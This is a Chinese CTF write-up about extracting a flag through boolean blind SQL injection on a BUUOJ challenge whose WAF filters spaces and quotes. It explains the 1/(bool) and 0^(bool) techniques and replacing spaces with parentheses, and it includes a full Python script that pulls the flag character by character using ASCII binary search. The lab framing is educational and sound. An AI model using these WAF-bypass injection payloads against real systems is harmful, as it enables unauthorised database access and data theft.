打开链接,发现数据使用POST数据提交的,输入1的时候又回显。但是输入注入语句的时候会被WAF拦截,那就fuzz一下过滤了哪些数据。并且提示了数据在flag表的flag字段下。要在这里设置1秒的延迟,访问太快的话,会返回429错误。
分析
长度为428的都被过滤了,看以看到基本不能使用显错注入了,因为过滤了闭合的符合。所以报错诸如得方式也不行了。
那现在的情况时数据输入正确回显,输入错误没回显,符合布尔盲注的特点。怎么才能利用呢?
当我们输入1的时候,应该时执行: select xxx from xxx where id =1 ,输入a的时候执行:
select xxx from xxx where id =a , 如果我们输入 1/1 ,那么应该执行: select xxx from xxx where id =1/1
这个执行效果和1一样,如果我们输入1/0,会返回,也就是查询不到信息。
有了这个条件,就可以利用布尔盲注了,1/(真或假),为真返回正确的查询结果,为假返回查询不到结果。
还有一个问题就是过滤了空格,在执行查询语句的时候,必须要用空格隔开。select flag from flag =select(flag)from(flag) ,这里用()来代替了空格,那么万事具备开始测试。
我选用的是left这个函数,因为这个函数比较使用起来比较简单。
注入
可以看到前四个是flag,那这个应该是flag了,这里在往后的话,手动可能比较慢,可以采取爆破的方式,把字符试一遍,通过数据包的大小判断最后的结果。
由于用left注入脚本我没写好,所以借用了大佬的用ASCII判断的脚本:
import requests
import time
url = "http://c1dc435e-50be-481c-bd61-b3cbb77c1a70.node3.buuoj.cn/index.php"
payload = {
"id" : ""
}
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.post(url,data=payload)
print(payload)
if "Hello" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
time.sleep(500)
print("flag: " ,result)
这个采用的是0^的方式.
总结
1.如果有回显的情况,可以采用1/bool 或者0^bool的方式来进行盲注
2.在查询的时候可以使用()来绕过空格
3.绕过WAF没有过滤函数,可以采用报错注入或者盲注.